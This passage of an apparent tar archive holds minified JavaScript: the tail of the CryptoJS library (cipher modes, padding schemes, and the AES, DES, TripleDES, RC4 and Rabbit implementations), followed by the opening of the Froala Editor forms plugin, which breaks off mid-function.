o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,st.decrypt.call(this,t,e,n.key,i)}})),yt.mode.CFB=function(){var t=yt.lib.BlockCipherMode.extend();function o(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=undefined):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s<r;s++)t[e+s]^=n[s]}return t.Encryptor=t.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;o.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),t.Decryptor=t.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);o.call(this,t,e,i,r),this._prevBlock=n}}),t}(),yt.mode.ECB=((ht=yt.lib.BlockCipherMode.extend()).Encryptor=ht.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),ht.Decryptor=ht.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),ht),yt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},yt.pad.Iso10126={pad:function(t,e){var r=4*e,i=r-t.sigBytes%r;t.concat(yt.lib.WordArray.random(i-1)).concat(yt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},yt.pad.Iso97971={pad:function(t,e){t.concat(yt.lib.WordArray.create([2147483648],1)),yt.pad.ZeroPadding.pad(t,e)},unpad:function(t){yt.pad.ZeroPadding.unpad(t),t.sigBytes--}},yt.mode.OFB=(lt=yt.lib.BlockCipherMode.extend(),ft=lt.Encryptor=lt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=undefined),r.encryptBlock(o,0);for(var s=0;s<i;s++)t[e+s]^=o[s]}}),lt.Decryptor=ft,lt),yt.pad.NoPadding={pad:function(){},unpad:function(){}},dt=(ut=yt).lib.CipherParams,pt=ut.enc.Hex,ut.format.Hex={stringify:function(t){return t.ciphertext.toString(pt)},parse:function(t){var e=pt.parse(t);return dt.create({ciphertext:e})}},function(){var t=yt,e=t.lib.BlockCipher,r=t.algo,h=[],l=[],f=[],u=[],d=[],p=[],_=[],v=[],y=[],g=[];!function(){for(var t=[],e=0;e<256;e++)t[e]=e<128?e<<1:e<<1^283;var r=0,i=0;for(e=0;e<256;e++){var n=i^i<<1^i<<2^i<<3^i<<4;n=n>>>8^255&n^99,h[r]=n;var o=t[l[n]=r],s=t[o],c=t[s],a=257*t[n]^16843008*n;f[r]=a<<24|a>>>8,u[r]=a<<16|a>>>16,d[r]=a<<8|a>>>24,p[r]=a;a=16843009*c^65537*s^257*o^16843008*r;_[n]=a<<24|a>>>8,v[n]=a<<16|a>>>16,y[n]=a<<8|a>>>24,g[n]=a,r?(r=o^t[t[t[c^o]]],i^=t[t[i]]):r=i=1}}();var B=[0,1,2,4,8,16,32,64,128,27,54],i=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,i=4*((this._nRounds=r+6)+1),n=this._keySchedule=[],o=0;o<i;o++)o<r?n[o]=e[o]:(a=n[o-1],o%r?6<r&&o%r==4&&(a=h[a>>>24]<<24|h[a>>>16&255]<<16|h[a>>>8&255]<<8|h[255&a]):(a=h[(a=a<<8|a>>>24)>>>24]<<24|h[a>>>16&255]<<16|h[a>>>8&255]<<8|h[255&a],a^=B[o/r|0]<<24),n[o]=n[o-r]^a);for(var s=this._invKeySchedule=[],c=0;c<i;c++){o=i-c;if(c%4)var a=n[o];else a=n[o-4];s[c]=c<4||o<=4?a:_[h[a>>>24]]^v[h[a>>>16&255]]^y[h[a>>>8&255]]^g[h[255&a]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,f,u,d,p,h)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,_,v,y,g,l);r=t[e+1];t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],u=t[e+3]^r[3],d=4,p=1;p<a;p++){var _=i[h>>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&u]^r[d++],v=i[l>>>24]^n[f>>>16&255]^o[u>>>8&255]^s[255&h]^r[d++],y=i[f>>>24]^n[u>>>16&255]^o[h>>>8&255]^s[255&l]^r[d++],g=i[u>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[d++];h=_,l=v,f=y,u=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&u])^r[d++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[u>>>8&255]<<8|c[255&h])^r[d++],y=(c[f>>>24]<<24|c[u>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[d++],g=(c[u>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[d++];t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(i)}(),function(){var t=yt,e=t.lib,n=e.WordArray,r=e.BlockCipher,i=t.algo,h=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],l=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],f=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],u=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],d=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],o=i.DES=r.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=h[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],o=0;o<16;o++){var s=n[o]=[],c=f[o];for(r=0;r<24;r++)s[r/6|0]|=e[(l[r]-1+c)%28]<<31-r%6,s[4+(r/6|0)]|=e[28+(l[r+24]-1+c)%28]<<31-r%6;s[0]=s[0]<<1|s[0]>>>31;for(r=1;r<7;r++)s[r]=s[r]>>>4*(r-1)+3;s[7]=s[7]<<5|s[7]>>>27}var a=this._invSubKeys=[];for(r=0;r<16;r++)a[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],p.call(this,4,252645135),p.call(this,16,65535),_.call(this,2,858993459),_.call(this,8,16711935),p.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,a=0;a<8;a++)c|=u[a][((s^n[a])&d[a])>>>0];this._lBlock=s,this._rBlock=o^c}var h=this._lBlock;this._lBlock=this._rBlock,this._rBlock=h,p.call(this,1,1431655765),_.call(this,8,16711935),_.call(this,2,858993459),p.call(this,16,65535),p.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function p(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<<t}function _(t,e){var r=(this._rBlock>>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<<t}t.DES=r._createHelper(o);var s=i.TripleDES=r.extend({_doReset:function(){var t=this._key.words;if(2!==t.length&&4!==t.length&&t.length<6)throw new Error("Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192.");var e=t.slice(0,2),r=t.length<4?t.slice(0,2):t.slice(2,4),i=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=o.createEncryptor(n.create(e)),this._des2=o.createEncryptor(n.create(r)),this._des3=o.createEncryptor(n.create(i))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=r._createHelper(s)}(),function(){var t=yt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0<t;t--)n.call(this)}});t.RC4Drop=e._createHelper(o)}(),yt.mode.CTRGladman=function(){var t=yt.lib.BlockCipherMode.extend();function h(t){if(255==(t>>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}var e=t.Encryptor=t.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=undefined),function a(t){return 0===(t[0]=h(t[0]))&&(t[1]=h(t[1])),t}(o);var s=o.slice(0);r.encryptBlock(s,0);for(var c=0;c<i;c++)t[e+c]^=s[c]}});return t.Decryptor=e,t}(),function(){var t=yt,e=t.lib.StreamCipher,r=t.algo,n=[],a=[],h=[],i=r.Rabbit=e.extend({_doReset:function(){for(var t=this._key.words,e=this.cfg.iv,r=0;r<4;r++)t[r]=16711935&(t[r]<<8|t[r]>>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)u.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f;for(r=0;r<4;r++)u.call(this)}},_doProcessBlock:function(t,e){var r=this._X;u.call(this),n[0]=r[0]^r[5]>>>16^r[3]<<16,n[1]=r[2]^r[7]>>>16^r[5]<<16,n[2]=r[4]^r[1]>>>16^r[7]<<16,n[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)n[i]=16711935&(n[i]<<8|n[i]>>>24)|4278255360&(n[i]<<24|n[i]>>>8),t[e+i]^=n[i]},blockSize:4,ivSize:2});function u(){for(var t=this._X,e=this._C,r=0;r<8;r++)a[r]=e[r];e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0<a[0]>>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0<a[1]>>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0<a[2]>>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0<a[3]>>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0<a[4]>>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0<a[5]>>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0<a[6]>>>0?1:0)|0,this._b=e[7]>>>0<a[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);h[r]=s^c}t[0]=h[0]+(h[7]<<16|h[7]>>>16)+(h[6]<<16|h[6]>>>16)|0,t[1]=h[1]+(h[0]<<8|h[0]>>>24)+h[7]|0,t[2]=h[2]+(h[1]<<16|h[1]>>>16)+(h[0]<<16|h[0]>>>16)|0,t[3]=h[3]+(h[2]<<8|h[2]>>>24)+h[1]|0,t[4]=h[4]+(h[3]<<16|h[3]>>>16)+(h[2]<<16|h[2]>>>16)|0,t[5]=h[5]+(h[4]<<8|h[4]>>>24)+h[3]|0,t[6]=h[6]+(h[5]<<16|h[5]>>>16)+(h[4]<<16|h[4]>>>16)|0,t[7]=h[7]+(h[6]<<8|h[6]>>>24)+h[5]|0}t.Rabbit=e._createHelper(i)}(),yt.mode.CTR=(_t=yt.lib.BlockCipherMode.extend(),vt=_t.Encryptor=_t.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=undefined);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c<i;c++)t[e+c]^=s[c]}}),_t.Decryptor=vt,_t),function(){var t=yt,e=t.lib.StreamCipher,r=t.algo,n=[],a=[],h=[],i=r.RabbitLegacy=e.extend({_doReset:function(){for(var t=this._key.words,e=this.cfg.iv,r=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)u.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f;for(n=0;n<4;n++)u.call(this)}},_doProcessBlock:function(t,e){var r=this._X;u.call(this),n[0]=r[0]^r[5]>>>16^r[3]<<16,n[1]=r[2]^r[7]>>>16^r[5]<<16,n[2]=r[4]^r[1]>>>16^r[7]<<16,n[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)n[i]=16711935&(n[i]<<8|n[i]>>>24)|4278255360&(n[i]<<24|n[i]>>>8),t[e+i]^=n[i]},blockSize:4,ivSize:2});function u(){for(var t=this._X,e=this._C,r=0;r<8;r++)a[r]=e[r];e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0<a[0]>>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0<a[1]>>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0<a[2]>>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0<a[3]>>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0<a[4]>>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0<a[5]>>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0<a[6]>>>0?1:0)|0,this._b=e[7]>>>0<a[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);h[r]=s^c}t[0]=h[0]+(h[7]<<16|h[7]>>>16)+(h[6]<<16|h[6]>>>16)|0,t[1]=h[1]+(h[0]<<8|h[0]>>>24)+h[7]|0,t[2]=h[2]+(h[1]<<16|h[1]>>>16)+(h[0]<<16|h[0]>>>16)|0,t[3]=h[3]+(h[2]<<8|h[2]>>>24)+h[1]|0,t[4]=h[4]+(h[3]<<16|h[3]>>>16)+(h[2]<<16|h[2]>>>16)|0,t[5]=h[5]+(h[4]<<8|h[4]>>>24)+h[3]|0,t[6]=h[6]+(h[5]<<16|h[5]>>>16)+(h[4]<<16|h[4]>>>16)|0,t[7]=h[7]+(h[6]<<8|h[6]>>>24)+h[5]|0}t.RabbitLegacy=e._createHelper(i)}(),yt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},{init:function gt(){},cryptoJS:yt}}}); plugins/forms.min.js 0000674 00000012741 00000000000 0010444 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],e):e(t.FroalaEditor)}(this,function(t){"use strict";t=t&&t.hasOwnProperty("default")?t["default"]:t,Object.assign(t.POPUP_TEMPLATES,{"forms.edit":"[_BUTTONS_]","forms.update":"[_BUTTONS_][_TEXT_LAYER_]"}),Object.assign(t.DEFAULTS,{formEditButtons:["inputStyle","inputEdit"],formStyles:{"fr-rounded":"Rounded","fr-large":"Large"},formMultipleStyles:!0,formUpdateButtons:["inputBack","|"]}),t.PLUGINS.forms=function(s){var u,r=s.$;function e(t){s.selection.clear(),r(this).data("mousedown",!0)}function o(t){r(this).data("mousedown")&&(t.stopPropagation(),r(this).removeData("mousedown"),f(u=this)),t.preventDefault()}function n(){s.$el.find("input, textarea, button").removeData("mousedown")}function a(){r(this).removeData("mousedown")}function p(){return u||null}function f(t){if(-1==["checkbox","radio"].indexOf(t.type)){var e=s.popups.get("forms.edit");e||(e=function i(){var t="";0<s.opts.formEditButtons.length&&(t='<div class="fr-buttons">'.concat(s.button.buildList(s.opts.formEditButtons),"</div>"));var e={buttons:t},o=s.popups.create("forms.edit",e);return s.$wp&&s.events.$on(s.$wp,"scroll.link-edit",function(){p()&&s.popups.isVisible("forms.edit")&&f(p())}),o}());var o=r(u=t);s.popups.refresh("forms.edit"),s.popups.setContainer("forms.edit",s.$sc);var n=o.offset().left+o.outerWidth()/2,a=o.offset().top+o.outerHeight();s.popups.show("forms.edit",n,a,o.outerHeight())}}function i(){var t=s.popups.get("forms.update"),e=p();if(e){var o=r(e);o.is("button")?t.find('input[type="text"][name="text"]').val(o.text()):o.is("input[type=button]")||o.is("input[type=submit]")||o.is("input[type=reset]")?t.find('input[type="text"][name="text"]').val(o.val()):t.find('input[type="text"][name="text"]').val(o.attr("placeholder"))}t.find('input[type="text"][name="text"]').trigger("change")}function d(){u=null}function l(t){if(t)return s.popups.onRefresh("forms.update",i),s.popups.onHide("forms.update",d),!0;var e="";1<=s.opts.formUpdateButtons.length&&(e='<div class="fr-buttons">'.concat(s.button.buildList(s.opts.formUpdateButtons),"</div>"));var o=0,n={buttons:e,text_layer:'<div class="fr-forms-text-layer fr-layer fr-active"> \n <div class="fr-input-line"><input name="text" type="text" placeholder="Text" tabIndex=" '.concat(++o,' "></div>\n <div class="fr-action-buttons"><button class="fr-command fr-submit" data-cmd="updateInput" href="#" tabIndex="').concat(2,'" type="button">').concat(s.language.translate("Update"),"</button></div></div>")};return s.popups.create("forms.update",n)}return{_init:function c(){!function t(){s.events.$on(s.$el,s._mousedown,"input, textarea, button",e),s.events.$on(s.$el,s._mouseup,"input, textarea, button",o),s.events.$on(s.$el,"touchmove","input, textarea, button",a),s.events.$on(s.$el,s._mouseup,n),s.events.$on(s.$win,s._mouseup,n),l(!0)}(),s.events.$on(s.$el,"submit","form",function(t){return t.preventDefault(),!1})},updateInput:function m(){var t=s.popups.get("forms.update"),e=p();if(e){var o=r(e),n=t.find('input[type="text"][name="text"]').val()||"";o.is("button")?n.length?o.text(n):o.text("\u200b"):-1!=["button","submit","reset"].indexOf(e.type)?o.attr("value",n):o.attr("placeholder",n),s.popups.hide("forms.update"),f(e)}},getInput:p,applyStyle:function v(t,e,o){void 0===e&&(e=s.opts.formStyles),void 0===o&&(o=s.opts.formMultipleStyles);var n=p();if(!n)return!1;if(!o){var a=Object.keys(e);a.splice(a.indexOf(t),1),r(n).removeClass(a.join(" "))}r(n).toggleClass(t)},showUpdatePopup:function h(){var t=p();if(t){var e=r(t),o=s.popups.get("forms.update");o||(o=l()),s.popups.isVisible("forms.update")||s.popups.refresh("forms.update"),s.popups.setContainer("forms.update",s.$sc);var n=e.offset().left+e.outerWidth()/2,a=e.offset().top+e.outerHeight();s.popups.show("forms.update",n,a,e.outerHeight())}},showEditPopup:f,back:function b(){s.events.disableBlur(),s.selection.restore(),s.events.enableBlur();var t=p();t&&s.$wp&&("BUTTON"===t.tagName&&s.selection.restore(),f(t))}}},t.RegisterCommand("updateInput",{undo:!1,focus:!1,title:"Update",callback:function(){this.forms.updateInput()}}),t.DefineIcon("inputStyle",{NAME:"magic",SVG_KEY:"inlineStyle"}),t.RegisterCommand("inputStyle",{title:"Style",type:"dropdown",html:function(){var t='<ul class="fr-dropdown-list">',e=this.opts.formStyles;for(var o in e)e.hasOwnProperty(o)&&(t+='<li><a class="fr-command" tabIndex="-1" data-cmd="inputStyle" data-param1="'.concat(o,'">').concat(this.language.translate(e[o]),"</a></li>"));return t+="</ul>"},callback:function(t,e){var 